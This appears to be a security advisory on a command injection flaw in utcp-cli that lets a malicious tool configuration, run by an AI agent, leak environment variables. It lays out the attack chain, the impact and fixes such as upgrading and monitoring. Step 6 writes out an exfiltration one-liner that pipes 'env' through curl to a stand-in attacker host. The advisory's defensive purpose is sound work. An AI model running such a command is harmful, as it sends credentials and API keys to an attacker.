Attack Chain

1. The attacker crafts a malicious tool configuration containing the command injection payload.
2. The AI agent executes the tool, passing the malicious configuration to utcp-cli.
3. The _substitute_utcp_args() function fails to sanitize the attacker-supplied arguments, leading to command injection.
4. The _prepare_environment() function copies the entire os.environ to the subprocess environment.
5. The injected command executes with access to all environment variables.
6. The injected command, such as env | curl -s -d @- https://attacker.com, captures the environment variables and exfiltrates them to an attacker-controlled server.
7. The attacker receives the environment variables, including sensitive credentials and API keys.

Impact

Successful exploitation of this vulnerability allows an attacker to steal sensitive information, including cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET), database connection strings (DATABASE_URL), LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY), and internal service tokens. The attacker can use these stolen credentials to gain unauthorized access to cloud resources, databases, LLM services, and internal systems. This can lead to data breaches, financial loss, and reputational damage.

Recommendation

• Upgrade to utcp-cli >= 1.1.2 to address the vulnerability and prevent environment variable leakage.
• Monitor network traffic for suspicious outbound connections to unknown domains (e.g., https://attacker.com in the example) originating from utcp-cli processes.
• Implement the Sigma rule to detect command injection attempts in utcp-cli processes by monitoring for suspicious shell metacharacters in command-line arguments.